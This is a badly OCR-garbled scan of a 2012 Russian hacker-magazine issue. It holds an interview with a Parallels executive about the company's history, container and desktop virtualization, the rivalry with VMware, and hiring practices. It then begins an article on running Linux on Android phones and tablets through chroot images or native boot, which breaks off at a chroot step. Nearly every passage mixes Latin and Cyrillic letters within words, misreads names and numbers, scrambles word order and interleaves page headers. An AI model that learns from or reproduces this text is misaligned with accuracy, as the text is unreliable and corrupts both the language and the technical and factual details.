Как устроен нормальный аутсорсинг бизнес, скажем, в Индии? У них есть проект- Мiсгоsоft заказал услуги тестинга или и нанимают под mаiпtепапсе. 0ни хоп! него три деревни. Если Мiсгоsоft этот проект прекращает увольняют. Нет никакой проих сноблемы, если случится новый проект ва наймут. В нашем случае такое не работало. Чтобы привезти человека за 10 тысяч километров, его HylKHo убедить сняться с места ведь у него может быть семья, а это серьезнOе решение, переехать так далек0 и надолго. К тому же начальные затраты довольно значительны. Если проект у нас не случился и мы увольняли человека, это была проблема не тOльк0 для нас, н0 и для нег0. Мы с саl,iоrо начала пытались создавать R&D-команду, а не ((аутсорсинговую лавкуD,

-

-

-

-

-

что очень поli{огло нам в будущем. Когда не было проектов, мы придумывали собственные попробуем сделать продукт. -давайте У нас.ничего не получалось" но мы учились, и учились наши люди. Мы вынуждены были продавать услуги этих людей дорого, ведь у всех них был период, когда они не делали ничего, что приносило бы деньги. Когда в 1999 году начал лопаться пузырь дотко1.|ов, наlл аутсорсинговый бизнес тоже по-

чувствовал себя неважно. Индустрия устроена

так, чт0, кOгда прихOдится экOнOмить, в первую 0чередь 0трезают внешних пOдрядчикOв. Уволить человека куда сложнее, чем сказать контрагенту: <Извините, мы вас очень любим, но у нас сейчас нет возможности с вами работатьu, К тому же, с точки зрения цены на наши услуги, мы нахOдились на верхнем уровне.

В 1999 году ttы назывались SWsoft. и ASP

Linux был наlци}i проектоtl. lr,lы как раз выбирали, чем заниматься дальше, а в индустрии в то время было две основных темы для о6суждения: все говорили об application sегчiсе провайдерах (о том, что софт скоро начнет о том, что продаваться как сервисl и о Linux эта система <отгрузит> Мiсгоsоft очень быстро, У нас был опыт с UNlX, Linux, нам хотелось чтото сделать в этом направлении. Поэтому мы занялись контейнерной виртуализацией, стали разрабатывать и свой дистрибутив. Поскольку он был для ASP (application sегчiсе ргочidег], он пOлучил такOе название. объясCaltoe важное в любоl.t продукте нить, че}i именно он хороlл. Этого невозможно добиться, заявляя: "Мы такие же, как Red Hat, только лучше. Чем лучше? !а всемr. Это очень популярный отве1 сейчас у стартапов часто такое встречается..Мы делаем FасеЬооk нового поколения, А в чем заключается ,,новое поколение"? !а во всем>. У людей нет ответа. 0ни считают, чт0 мOгут чтO-т0 сделать - дистрибутив Linux или новый Facebook, но до конца не понимают, чем именно он будет отличаться и кому вообще нужен. С ASP Linux у нас это не слишком хOрош0 пOлучилOсь, irы пытались найти позиционирование для А5Р Linux, но до конца Ha],l это так и не удалось. У России тогда было несколько претендентов на национальный дистрибутив, в частности команда ALT Linux, ASP Linux. Если они решили, что Red смотреть на опыт Китая Flаg будет их национальным дистрибутивом, действительно его поддерживали, но даже это практически не пOмOгл0.

-

-

хлкЁр

а9 11bt / 2012


Интервью со Станиславом Протасовым

BtlecTe с тем у Parallels по Linux до сих пор достаточно убедительные позиции в то1.|, что касается серверных вещей. Например, наши специалисты участвовали в разработке контейнерной технологии виртуализации 0penVZ и ее проприетарного воплощения Рагаllеls Viгtцоzzо Сопtаiпегs. Часть идей контейнеров использует Google для виртуализации своих l_]0!oB. Мы запихиваем в мейнстрим <Линукса> все, что из этOг0 пOлучилOсь, в частнOсти контеЙнерную технологию. Просто она пересекает много подсистем ядра Linux, поэтому процесс запихивания весьма небыстрый. В разные годы Линус Торвальдс и другие люди говOрили, что они пони}lают преимущества контейнерной технологии, и общий курс таков: Liпuх-ядру нужен не только hуреrчisог, роль которого сейчас играет проект KVM, но и контейнерные технологии. Поэтому мы работаем и с другими группами, которые занимаются похожими проблемами, и потихоньку (<тOлкаемr_

На сегодняlлний день больчlе половины принято в mainstream kеrпеl, но это вовсе не значит, чт0 втOрую полOвину мы держиil,{ за спиной, 0на тоже свободно доступна, тоже под лицензией GPL, Больше полоsины нашего кода находится в любом ядре Linux, хоть от Red Hat, хоть с kегпеl.ог9. lчlы точно знаем, что Google для своей инфраструктуры использует наlцу контейнерную технолоrию, часть которой есть в ядре. Так как по sапdЬох'ингу процессов идея очень хорошая [по ограничению ресурсов, по ограничению того, что они [4огут сделатьl ее много кт0 использует.

-

В 2004 году tlы купили небольчrой стартап

Parallels, чтобы дополнить наlлу автоi{ати-

зацию и серверную виртуализацию их наработкаttи по десктоп-продукту. В результате бренд оказался настолько узнаваемым, что в начале 2008 года SWsoft изменила название на Рагаllеls. Нашим англоговорящим клиентам было сложно произносить (эс-дабл-юсофт>, да и Рвrаllеls лучше отражало суть бизнеса одновременная работа несколь-

-

ких 0С. Компания Parallels (в то вреr,rя еце SWsoft| как бизнес началась тогда, когда проекты ко}ilпании Н5Р Complete lсистеltа автоllатизации для хостинг-провайдеровl и virtuozzo начали приносить деньги. Правда, очень небольшие. В 2000 году мы открыли офис в МФТИ в N4ocKBe, уже понимая, что наша офшорная разработка подходит к концу. Я приехал сюда, мы арендовали помещение в 100 квадратных метров. Нас было шесть человек. Потоtt начала понеi{ногу расти коl,ilанда, уже были плdны по контеЙнерноЙ технологии виртуализации. Где-то к середине или концу гOда мы поняли, что не выживем, если будем продолжать работать на две страны. Тогда мы предложили людям, котоРые работали в Сингапуре, переехать в Москву. Часть согла-

хлкЁр

09 116412012

силась, часть нашла работу в Америке, часть осталась в Сингапуре. В 2001 году tiы выпустили первый официальный релиз нашеrо продукта контейнерной технологии Virtuozzo, стали работать с хостинг-провайдерами, начали писать management tools. Стало ясно, что хостеры эт0 те люди, кOтOрым наши прOдукты мOгут быть интересны. 0днако вплоть до 200З года cash flow у нас 0ставался 0трицательныi{, хOтя уже появились первые клиенты. Это были очень тяжелые гOды, случалOсь, задерживали зарплату, платили людям не пOлностью. Представьте себе: у вас обраэовались какие-т0 деньги. которые вы рещили пOтра-

-

тить на стартап. У вас есть неплохая идея, да и вы вроде бы умный человек. Вас все слушаю1 кивают, но никт0 не гOтов разделить с вами риск. В итоге вы платите значимые для вас деньги lскажем, 100-200 тысяч долларов в месяц), а доход растет несOпOставим0 медленн0, составляя ма-аленькую часть от этой суммы. Состояние такое...,Ща хочется все закрыть! Единственное, что понимание, чт0 если закроешь, удерживает, т0 уже тOчн0 ничег0 не вернется. Уrроза того, что }.{ы не выдержиl.{, сло14аемся и просто все закроем. в начале 2000-х висела над на1,{и очень реально. Было тяжело. Развивались контейнерные технологии и контрольные панели вокруг них. Тогда с нами фактически конкурировала компания Plesk, похожая на нас тем, что продажи у нее были за рубежом, а

-

разработка в России, конкретней-в Новосибирске. У них не было контейнерных технологий, но были достаточно популярные контрольные панели. У нас контрольные панели тоже были, но плохие. Мы объединились и через полгода вышли на уровень Ьгеаk ечеп, хотя до объединения обе компании были убыточны. С тех пор один из наших центров разработки находится в Москве.

flесктоп-виртуализация началась

с очень ин-

тересной истории. Существовала независимая компания, куда в начале 2000-х обратились немецкие предприниматели. 0ни сказали, что есть такая проблема: почти весь софт для банкOматOв написан пOд 0перациOнную систему 0S/2. Проблема в том, что lВМ больше ее не поддерживает, бросила на произвол судьбы, а на новое железо 0S/2 не встает. У банков, стало быть, есть два выхода заменять банкоматы на новые Iчто очень дорого) или менять П0 на Windows NT (это тоже дорого]. Но мOжн0 пOступить иначе написать виртуаль-

-

-

ную машину, которая будет изображать старый компьютер, Эту виртуальную машину можно ставить на Windows, а внутри будет 0S/2, которая будетдержатьтотже банковский софт. На

этом, мол, можно заработать <тонны нефти>. lчlы начlли эту коl.{панию. У нас давно созрела идея, что SWsoft неплохо было бы иметь собственный гипервизор. В сущности, хотели договориться о том, чтобы мы их поглотили, Ключевые люди из этой команды работают с нами до сих пор, в частности Николай

-

flобровол ьс ки й. Когда tlы встретились с Колей, он хотел с нами договариваться. 0н понимал, что мы дадим ему не тOльк0 инвестирOвание, чт0 мы лучше нег0 знаем рынOк и у нас уже есть, может быть, не совершенный, но работающий механизм маркетинга и продаж. Поэтому мы дOгOворились на справедливых услOвиях и пOглOтили эту кOманду. На Jtlac }rы тогда не смотрели. Мы лросто пOглOтили их, не сOвсем пOнимая, как интегрируем этот гипервизор <в себя>. Планов, конечно, было море, но сначала мы ушли от идеи 0S/2. Было понятно, что это <(не взлетаeTD, к тому же банки не могли сидеть и ждать, когда мы принесем им решение. Oни просто

апгрейдили свои системы, и 0S/2 исчезала со сцены. Какое-то вре}..lя 1,1ы держали ко1.{анды раздельно. Было не очень понятно, как их интегрировать, ведь бизнес, связанный с разработкой софта для сервис-провайдеров, и бизнес

по разработке П0 для десктоп-виртуализации очень разные. Впрочем, у них есть общий момент- гипервизор, который мы используем не только в десктопном П0, В итоге мы все-таки сделали 0дну кOмпанию вряд ли мы смOгли бы создать две инженерные команды, спосо6ные делать хOрOшие прOдукты. Сейчас у Раrаllеl5 два основных бизнеса десктоп-виртуализация и софт для сервис-провайдеров, который позволяет им предоставлять малым бизнесам облачные услуги. <0блачная)) часть нашего бизнеса растет чрезвычайно быстро, (06лачныйD софт состоит из двух частей. Первая платформа, которая называется РOА (Раrа||е|s 0регаtiопs Automation), отвечает за определение сервиса (почта, совместная работа. коммуникация], за склейку компонентов в единый сервис и доставку и установку всего этого на сторону клиента. Вторая это РВА {Рагаllеls Business Automationl биллинг, умеющий работать с существующими биллингсистемами, в разных странах и так далее.

-

-

УгРO3А ТOГ0, что 1ý{ы нЕ ВыдЕРжи]r,l, слOмАЕрlся и прOсто всЕ зАкрOЕ},l, в нАчАлЕ 2000_х висЕлА нАд нАlчи

0чЕнь рЕАльн0. Был0 тяжЕл0.

-

-


cOvERSTORY @

Если вы заниtqаетесь чисты}.t копированиei{, ваlllи },l единственны },{ аргументом будет фраза <Зато ttы дешевле>>. А это очень слабая пOзиция. Хороцlи}.t при },lepoiii будут китайские телеФоны Nokla. Если посмотреть на них. там все отлично: две SlМ-карты, телевизор, цена хоЗ000 рублей, но люди все равно хотят рошая обладать Samsung и iPhone, а вовсе не Nokla. Сначала в десктоп-продукте под Windows и Linux llы во l,tногоl.{ копировали то, что делала vilWare с ее VJr,lware Workstation. Но проблема с копированием заключается в том, всегда чт0 компания, кOтOрая кOпирует,

-

-

догоняет. У VМwаrе было больше дене1 у них была львиная доля рынка, и победить с нашими силами и ресурсами на этом поле было

невOзмOжн0. Но тут Apple неожиданно объявила о переходе на процессоры lntel; наша технология стала легко переноси1,1а на Мас 0S. На руку нам сыграло и то, что vмwаге была большой компанией, я не могу сказать <неповоротливой", но,,,

Apple была совершенно не интересна больtлиtt игрокаl,it с финансовой точки зрения. Первые оценки рынка, которые мы делали, были таковы наверное, можно будет заработать пять миллионов долларов в год. При озвучивании этой цифры у всех нас начиналOсь непрOизвOльнOе слюнOотделение, а для VМwаге это было вообще ни о чем, поставки ]r,lac до сих пор составляют не более пары десятков процентов от всего количества ноутбуков РС, но они попадают к нух(ным людяi{. Например, СЕ0 lntel ходит с Мас. То есть топ-менеджмент очень быстро полюбил их, И журналисты тоже, В общем, Мас занимает небольшую долю, но о нем говорят те люди, к чьему мнению прислушиваются. vl{wаrе rде-то через год заметила, что наlц десктоп-продуктхорошо продается. flумаю, они

-

решили раздавить нас чисто механически. Это было разумным решением с их стороны виртуализацию 0ни пOнимаютдOвольн0 хорош0, 0пыт у них большой, компания сильная, они обладают огромным опытом в том, как делать правильный софтвернвtй девелопмент.

-

V1,1ware выпустила Fчsiоп, который при-

нялся отжирать наlл рынок. В первый год Fusion перетянул к себе около половины наших клиентов. Но, в отличие от Рагаllеls, для VМwаrе этOт прOект имел далек0 не первOстепенную значимость. 0сновное для них это серверная

-

виртуализация для епtегргisе-клиентов, А для нас Рагаllеls Desktop стал очень важной частью дохOда практически с самOг0 начала, пOэтOму мы сфокусировались на его развитии. Уже где-то через год llы принялись понемногу отъедать обратно тех пользователей, которых потеряли. На сегодня мы занимаем доминирliющую позицию на рынке десктопвиртуализации, хотя VМwаге уже перепробовала все способы борьбы с нами. На протяжении всех лет цена на продукт была одинаковой, а VttlWare уронила свою цену в два раза. Но это уже не помогало. То

0з0

есть экспериментальным путем мы выяснили-если сфокусироваться и долго бить в стену, в одну точку, стену все-таки можно пробить,

0сновная проблеttа виртуалиэации это скорость работы. Несмотря на то что мощность кOмпьютерOв растет с каждым гOдOм, 0ни все равно никогда не бываютдостаточно мощными. ,Щовольно ваlкной вехой было то, что

-

vl{ware сllогла добиться лучшей производительности на серверах. Существует некий набор инструкций, которые гостевая

0С не может выполнять прямо на процессоре. Если у вас есть инструкция, которую хOчет выполнить гOсть, слOжить регистр АХ с регистром ВХ, нет проблемы, разрешим сделать это на процессоре. 0днако имеется некий ограниченный набор инструкций, который меняет режим работы процессора (сегментные регистры перезагружают, еще что-то]. Если позволить гостю их делать, т0 вся изOляция между гOстем и хOстом исчезает. В лучшем случае это приводит к тому, что нет безопасности. Но тут уж бог бы с ней. В худшем случае все просто падает, так как п0 идее гOстевая операциOнная система не должна знать ничего о хостовой. yi,lware построила хороlлую технологию, которая все это учитывает. Кроме того, есть еще один нюанс. 0бработчик привилегированных инструкций не должен занимать много тактов, потому что они действительно встречаются часто, особенно в ядерном контексте. Так чт0 если у нас стOит 0днOтактная инструкция, а мы заменяем на обработчик, который выполняется в 1 0 000 тактов, мы тут же просаживаемся п0 скOрOсти. в vJtlwаrе создали технолоrию, которую они называют дина1,{ической или бинарной

трансляцией. Просто берут код, идут по нему и, если нужно, расширяют in рlасе. К чему это

приводит? К примеру, у меня здесь стоит некий jump вот сюда. Я расширяю, соответственно, мне нужно проапдейтить этотjumр, чтобы он пOказывал в нужное мест0. Где-то к 2005 году они сделали это так хороlло, что 1.|ог бы гордиться любой инженер. !остаточно сказать, что, когда lпtеl ввел свои аппаратные инструкции, пOлучилOсь так, чт0 у VМwаге скорость динамической трансляции была примерно одинакова со скоростью аппаратного lпtеl, i,lы тоже с этим боролись с по1.1оlцью контейнеров, и, дуttаю, сейчас 1,1ы не сильно отстаем от vJtlware в этоtl вопросе. Изначально наш подход был похож на решение Connectix. Мы называли его Smаrt kеrпеl optimization немного проще, чем у VМwаге, но хорошо работал, давал похожую производительность. Единственный его недостаток закладывалOсь знание 0 тOм, чт0 эт0 именн0 та гOстевая 0С, а не другая, В зависимости от конкретной гостевой 0С, паттерн встречи этих привилегированных инструкций может меняться. Ду}.{аю, никаких особенных открытий в этой области в ближайщем будущем не произойдет. Реально прорывныл,{ с аппаратной точки зрения и с точки зрения поддержки виртуализации софтом была непосредственно технология VTX, 0стальные вещи, что они выпустили, VTD, VTC и прочее являются поступательными шагами. На сегодня виртуализация стала обычныtl pecypcott. У Micгosoft есть Нурег-V. Есть VМwаге с его ESX. У хостеров выбор еще шире: KVM, Хеп, Нурег-V, ESX, Viгtuоzzо, наш Рагаllеls что хочешь, то и используй. Cloud Sегчег Виртуализация будет всегда и везде, В каждой 0С, на каждом устройстве, ведь это удобно с мнOгих тOчек зрения.

-

-

-

-

хАкЕр

09 /16412012


Интервью со Станиславом Протасовым Что ждет нас дальчrе? Разумеется, Нурег-V никуда не уйдет. Как минимум, в ближайшие нескOльк0 десятков лет никуда не исчезнет ESX, потому как это гипервизор номер один на епtеrргisе-рынке. Конечно, KVM будет расти он простой, хорошо и компактно сделан. Его любят Linux kегпеl-люди, и это лишь вопрос времени, прежде чем он будет в каждом дистрибутиве Linux. Хеп тоже не пропадет, но, мне кажется, его доля будет падать. Причина проста вендоры дистрибутивов меньще внимания уделяют Xen, 0ни не то чтобы предпочитают KVM, просто Хеп сложнее. У сложных вещей есть возможность войти в каждый дистрибутив, если они входят в vanilla kегпеl. Но чтобы пойти в чапillа kегпеl, он должен интегрироваться. дабы его дальнейшая пOддержка технолOгии виртуализации не представляла сложности. Лично у меня сложилось впечатление [возможно, ошибочное], что Хеп интегрируется не слишком хорошо. Делать свою виртуализацию сеrодня ilогуттOлько 0чень отважные люди. Не представляю, что нужно сотворить, чтобы найти там какую-то новую нишу. Впрочем, Niсiга, которую недавно купила Vlr4wаrе, делала виртуализацию сети. Хороший пример люди нашли нишу, в которой никто не играл. Конечно, ttы знаем про 0репFlоw, даже наблюдаем за ни1,1и. это кажется Ha},i интересныll, но личн0 я не знаю, что из этог0 ll0жет получиться. Здесь ведь очень важен вопрос не хватает времени фокуса, Вечная проблема и сил, фокусироваться нужно на чем-то одном. Хотя сетевая виртуализация может быть очень интересной темой, я не буду загадывать.

-

-

-

-

Было бы сложно перечислить 5-10 нащих главных ошибок. 0шибки совершаются ежедневно. и, как всегда и бывает с ошибками, скOрее всег0, главные среди них вовсе не те, кOтOрые я считаю главными. Составить непротиворечивый свод правил невозмо)i(но. Неважно законы это или правила разработки. Поэтому я всегда старался строить процессы, понимая, что обязательно возникнут ситуации, в хOде которых процесс будет нарушен. Ничего страшного в этом нет. 0собенно в начале, когда у вас еще маленькая команда в ] 0-50 человек, роль процессов не 0чень важна. В России очень вах(но строить процессы с самоr0 начала с саli{ог0 l,ilини1.1ального размера стартапа. В Америке человек, поработавший в Мiсгоsоft и пришедший вАmаzоп, не встречает для себя ничего удивительного, Потому что в Аmаzоп примерно 60% людей перебежчики из Мiсгоsоft. Придя в Google, он тоже не встретит ничего удивительного. Процессы в разных компаниях похожи. В России компаний, поСтроивших инженерные процессы, очень мало. А от инженерных процессов зависит качество продукта. Если процесса не1 выдать на_гOра качество невOзмOжн0. сласибо vJllware за то, что она решила с нами конкурировать, блаrодаря этOму lrы

-

-

хдкЕр

о9 11bL/

9о1,

l,ilногому научились.

для того чтобы успещно

противостоять такой компании, нужно иметь нормальную культуру разработки и нормальные прOцессы. Рано или поздно точно приходится делегировать ответственность. Иначе контора не выживет, Микроменеджмент имеет недостатOк если 0н продOлхается все время, он демотивирует людей. 0ни просто занимают позицию <что скажут, то и буду делать>. Как начальство придумает, так и будет. Главное сделать все, чт0 сказал0 начальство, и при-крыть себя со всех сторон. Это убиваетлюбую иннOвациOнную компанию.

Человек должен иметь право на оtлибку и на выбор собственного пути. Но выбор собственного пути... чтобы человек правильно это сделал, он тоже должен быть натренирован. Скажем, вы ведь не разрешите своему годовалому ребенку хOдить п0 лестницам самOстOятельно 0н споткнется и сломает шею. Вы даете ему руку и ведете за руку. Человека предварительно нужно специальн0 тренировать. ]tlicrosoft разработала свое видение и свой процесс, который мы активно заиllствовали. 0ни изобрели роль программ-менеджера, QAменеджера, dеч-лида это триада, которая, по сути, работает над проектом. Мiсгоsоft разработал все это потому, что период, который сейчас переживает Рагаllе|s, они пережили еще в0 времена мамOнтOв. Вначале мы обращали i{иниllальное вниtlание на процессы. !а, у нас был sоurсе сопtrоl, иначе просто невозможно коллективно работать над кодом. fla, с самого начала у нас был bug trасkiпg давал о себе знать наш опыт с аутсорсных времен. Но вот геqчirеmепt managament у нас не было. Многих других вещей тоже не было, например code гечiеw. Понятие автOматическOг0 тестинга... нам повезло: контейнеры такая технология, что нам пришлось озаботиться этим рано, но изначально этого не было тоже, Разумеется, у нас есть внутренние порталы, мы используем и Wiki, и Shагероiпt. Есть и анбординг-процесс, есть и коучинг. Без этого невозможно существовать. Когда я был 1.1олодым, я считал, что иожно сделать пOлную дOкуllентацию на прOдукт. технологию. Нет, невозможно, получается слишком большой очегhеаd, !олжен быть здравый смысл, во многом отданный на откуп разработчикам и ключевым людям.

-

-

-

В Америке

пишут больше докуl,iiентации

не потому, что они идиоты или, наоборот, очень умные. Просто они кровью заплатили за понимание пользы от этой документации. 0гроllное количество людей неспособно написать документацию. Можно, конечно. их заставлять, посылать на курсы, н0, к сOжалению, это не очень помогает. Также есть люди, кOтOрые пишутдокументацию 0хOтн0, им это н ра в ится. Нужно п оо щрять их делать та кие вещи. В общем, все как обычно серебряной пули нет,

-

минимум три интервью, на каждое из кOторых отводится час. На интервью приходит один человек. Это важно. Интервью коr4итето},{ глупая веlць. что 1,1ы уже выучили на собственном опыте. ,Щело в тOм, чт0 кOгда с кандидатOм разговаривают несколько человек, у них сразу же образуется единое мнение. Если они говорят по отдельности не факт, что оно будет единым. На интервью я задаю вопросы трех типов. Первый просто жизненный, на общую адекватность. Второй на соображалку, Третий элементарные вещи, помогающие пOнять, чт0 пOдгOтOвка сOискателя не совсем безнадежна. Например, мы спрашиваем, как компилятор что-нибудь на стек положит. Просто чтобы увидеть, есть ли у человека пOнимание 0снOв. В софтверноl.| инжиниринге все эадачи неспецифицированы до конца. Поэтому есть еще 0дна важная часть интервью: понять, насколько человек быстро и хорошо соображает. Наверняка вы слыщали про вопросы для собеседования в Google: шарики в автобусе, помыть стекла,.. Эти задачки не обязательно должны быть про шарики в автобусе. 0ни не на логику. Идея в том, чтобы посмотреть, как хOрOш0 челOвек подхOдит к решению неспецифицированных задач. Когда условия этой задачи приходится ставить самому. Всех кандидатов через себя не пропускаю, Всех я бы, наверное, сейчас уже не потянул. У нас есть статистика.., думаю, в неделю у нас проходит около 30-50 интервью. Людей мы ищем постOянно. Хорочrий, очень глубокий человек ищет

-

-

-

работу редко. Это происходит раз в 5-10 лет, пOтOму чт0 кOнтOра накрылась, 0тдел разOгнали или ему дали начальника, который принялся демOнстрирOвать свOе эг0, и челOвек не выдержал.

-

Команда это очень важно, это самое важное в софтверноl,{ бизнесе. Суперквалифицированные, суперопытные, мотивированные работой и интересными проектами люди встречаются, но очень редко. Именно

пOэтOму нужно интервьюирOвать все время, иначе такие люди не будут попадаться вовсе. Если же такой человек находится, когда у

кOмпании приOстанOвлен наем, ег0 все равн0 нужн0 затаскивать в кOмпанию, несмOтря на сопротивление кого угодно, Это редкие л

юди.

Реальная ценность Parallels заключена Totl, что называется интеллектуальной собственностью. Это код, который мы написали. Но не только он. Без того, что в головах людей, этот код не имеет смысла. Любой, кто вOзьмет его и пOпытается что-то с ним сделать, наступит на огромное количество граблей, на которые мы уже наступили. И даже если попросить нас рассказать об этих граблях мы не сможем,0ни обходятся инстинктивно, все прям0 как у 0пытных саперOв, Я уверен, что начrиll драйвероll роста был не продукт. flрайвер роста это всегда люди. В нашем случае драйвером роста выступало наше в

-

-

Процесс интервью у нас относительно нефор1,1ализованный, но мы стараемся, чтобы было

неуемнOе желание делать прOдукты, а также, может быть, некая наша бестолковость.

t


cOvERsTORY

}-lечтеют

Z,_

лпандроидьl

об электропиNгвинах?

ry I.7

УстАНАВлиВАЕ].i LINUх-дистРиБУтиВ НА тЕлЕФOН и плАншЕт пOд упрАвлЕниЕ},l ANDROID Прошло совсем немного времени с момента выпуска первых смартфонов под управлением 0С Апdгоid до того,.как энтузиасты научились запускать на них полноценные дистрибутивы Linux. Сегодня методики установки Liпuх-дистрибутивов на Апdгоid-устройства широко известны, а в репозитории Google Рlауестьдаже автоматизированные системы установки и запуска Linux. В этоЙ статье я попытаюсь аккумулировать весь накопленный опыт работы с Linux на смартфонах, расскажу, зачем это нужнО, и покажу, как избежать возможных подводных камней при переносе Linux на смартфон или планшет. хлкЕр

а9 /1ь/,/ 2012


Мечтаютли андроиды об электропингвинах?

I

на первый взгляд может показаться странным, что кто-то пытается запустить на мобильном устройстве операционную систему, в принципе не предназначенную для работы с экраном небольших размеров и без достаточно точного манипулятора (мыши] и клавиатуры. 0днако не стоит делать поспешных выводов. flистрибутив Linux мохет дать владельцу смартфона достаточно много преимуцеств, среди которых набор старых проверенных инструментов, таких как утилиты командной строки, продвинутые редакторы, FТР- и SSН-серверы, сетевые инструменты и средства разработки приложений.3апустив Liпчх без графической оболочки на смартфоне с хардварной клавиатурой [Моtоrоlа Drоid, к примеруl, можно достаточно комфортно всем этим пользоваться прямо на ходу без необходимости покидать сам Апdгоid. Все инструменты доступны в любой момен1 а смартфон продолжает оставаться смартфоном, пOзвOляя принимать звOнки и слушать интернет-радио. Второй аргумент за установку Linux на смартфоне - это возмOжнOсть использовать его в качестве переносной рабочей станции, которую можно подключить к любому ПК и тут же получить доступ к терминалу с помощью SSН/Теlпеt-клиента либо клиента VNC/RDesktop, Это по определению лучше, чем флешки с установленным Linux, так как нет необходимости, во-первых, перезагружать машину, а вO-втOрых, гOнять туда-сюда данные; результаты твоей работы будутдоступны сразу после того, как отключишь смартфон от компа. Наконец, наибольший выигрыш Linux дает на планшетах, экран которых позволяет более-менее сносно работать в графической среде, а вOзмOжнOсть пOдключить мышь и клавиатуру через OTGкабель так и вообще дает шанс превратить планшет в полноценную рабочую станцию. При этом никакой особой разницы между установкой дистрибутива Linux на планшет и смартфон нет.

Перенести Linux на Апdгоid действительно просто, и главную роль здесь играет ядро Linux. Любой Liпчх-дистрибутив представляет собой набор приложений и библиотек, работающих поверх ядра Liпuх, а так как Android сам основан на почти не измененном ядре Linux, эти приложения и библиотеки можно без каких-либо проблем запустить внутри среды Апdгоid. [остаточно лишь подыскать дистрибутив, для которого существует порт на платформу ARM [не забываем, что 99% всех Апdгоid-девайсов работают на ARM), установить его с помощью АRМ-эмулятора на виртуальный жесткий диск lтo есть в файлl, скинуть этот файл на SD-KapTy устройства, открыть терминал, смонтировать образ в качестве loopbackустройства и сделать сhгооt внутрь. Все! Это так же просто, как запуск FТР-сервера в сhгооt-окружении простой и проверенный десятилетиями метOд. Единственный камень преткновения, когда ты решаешь запустить дистрибутив Linux внутри Апdгоid, графическая среда.

-

-

Backтrack, запуценный на планщете В то время как с доступом к консоли никаких трудностей не возникает благодаря наличию полноценного эмулятора терминала, с графическими приложениями начинаются проблемы нативного Х-сервера для Апdrоid нет, а запустить обычный Х-сервер внутри самого дистрибутива невозможно из-за коренных отличий в архитектуре графической подсистемы зеленого робота. Несмотря на т0 чт0 в основе она использует стандартный Linux FrаmеЬuffег, поверх которого можно запустить Х-сервер, эксклюзивное право ег0 испOльзOвания изначально принадлежит более высокоуровневым библиотекам Апdгоid, поэтому остается либо загружать Linuxдистрибутив вместо Апdгоid [что совершенно непрактичноi, либо придумывать обходные пути. Энтузиасты вышли из этой ситуации, используя простой метод <удаленного> подключения к рабочему столу с помощью любого доступного для Апdгоid VNС-клиента. Внутри сhгооt-окружения запускается Х-сервер Хчпс, и все приложения работают под его управлением. Пользователю остается лишь установить VNCклиен1 вбить локальный адрес и вуаля, на экране появляется полноценный рабочий стол. Единственное узкое место при использовании удаленного это производительность. ,Щаже работая локальрабочего стола но, VNC не может обеспечить должный ее уровень, которого бы хватило для плавной прокрутки или перемещения окон без лагов. Решить эту проблему пока не удалось, проекты разработки нативного Х-сервера, который бы использовал графическую подсистему Апdгоid, еще очень сыры и не могут быть использованы для запуска полноценных графических сред, Впрочем, никто не запрещает их использовать; к примеру, Х Sеrчег от Daгkside Technologies Pty Ltd tgооцlь!з!о) вполне сгодится для запуска простого софта. Изначально Linux для Апdгоid сушествовал только в виде образа с уже установленной системой, а также пояснительной инструк-

-

-

-

AndroidvNc

хлкЁр

о9

-

подключаемся

l1b4l2i12

к рабочему

столу


cOvERSTORY цией как этот образ подключить и использовать. 3атем появились скрипты, которые автоматизировали процесс подключения образа и запуска Liпuх, но и они требовали некоторой работы головой. Наконец, в последнее время появились инсталляторы, доступные в Google Play {например, goo.gl/RSAli|, в некоторой степени автоматизирующие процесс запуска дистрибутива, хотя, по сути, это все т0 же рукOводств0 п0 устанOвке, н0 интерактивнOе, с прямыми ссылками на скачивание образов и скриптов.

Liпчх вполне может Выше я уже упомянул о том, что дист быть загружен вместо Апdгоid, благодаря чему удастся задействовать FгаmеЬuffег для прямого доступа к видеоадаптеру и существенно ускорить работу графического интерфейса. 0днако делать Linux непригоден это на смартфоне практически бессмысленно в качестве основной системы на небольших экранах, к тому же принимать звонки и пользоваться интернетом будет невозможно. А вот на планшете Linux будет выглядеть вполне достойно. 06ычно на устройство, изначально работающее под управлением Апdгоid, так называемая нативная версия Liпчх-дистрибутива устанавливается следующим образом. На внутреннем NANDнакопителе планшета создается дополнительный раздел, на который копируется Liпuх-дистрибутив. Затем загрузчик U-Boot [он применяется в большинстве планшетов) настраивается таким о6разом, чтобы использовать этот раздел в качестве загрузочного. В результате планшет будет автоматически загружать Linuxсистему пOсле включения питания. Чтобы оставить возможность загрузки Апdгоid, загрузчик U-Boot перенастраивают таким образом, чтобы раздел с Linuxсистемой был не основным, а выполнял функцию <раздела для восстановления> lRecovery Model, доступного с помощью включения устройства с зажатой клавишей громкости (тот самый, который используется для перепрошивки устройства и выполнения различных восстановительных операцийl. Таким образом удается получить устройство с двойной загрузкой: Апdгоid по умолчанию и дистрибутив Linux при загрузке в режиме восстановления. Сам Rесочегу Mode при этом остается доступным только с помощью специальных инструментOв. В случае если NАND-памяти оказывается недостаточно для размещения полноценной Liпчх-системы, ее части [обычно раздел /чsг] выносят в образ или раздел на SD-KapTe. Кстати, ехt2-раздел на карте памяти также можно использовать для установки Linux, запускаемой в сhrооt-окружении. Установить нативный Liпчх-дистрибутив сложнее, чем работающий в сhгооt-окружении, но это стоит того, если у тебя есть планшет и 0ТG-кабель, с помоцью которого можно подключить

-

клавиатуру i

Ubuntu на баlаху ТаЬ 'l0.1

и мь!шь.

Е Как

я уже говорил, для запуска под управлением Апdrоid пригодны только дистрибутивы, портированные на архитектуру ARM. Прежде всего это Ubuntu и Debian, причем первый по понятным причинам пользуется гораздо большим интересом среди роботоводов. Также можно установить Gentoo и несколько специализированных дистрибутивов, например Васktгасk. Рассмотрим самый типичный случай, то есть установку Ubuntu по стандартной схеме, без использования каких-либо автоматизированных инсталляторOв и прOчег0.

!,ля начала нам нухен образ жесткого диска с установленным дистрибутивом. Его можно создать самому, воспользовавшись эмулятором QEMU, однако в связи с тем, что процедура установки абсолютiо стандартна и типична, описывать ее я не буду, а просто направлю тебя по адресу goo.gl/9nvBi. Здесь лежит архив с образом, на который предустановлен Ubuntu 12.04 с графическим окружением LXDE (6ыло бы неразумно запускать Unity/GNOME на телефоне/планшетеl. Архив следует распаковать и положить файл ubuntu,img на карту памяти.

3апуск UЬчпtч с пошоlцью стартовOtо скрипта

хАкЕр

09/164120]2


Мечтают ли андроиды об электропингвинах?

6.

Переходии

в

сhrооt-окружение:

# chroot /nnt/ubuntu

Проект (UbUntu for AndroidD

в

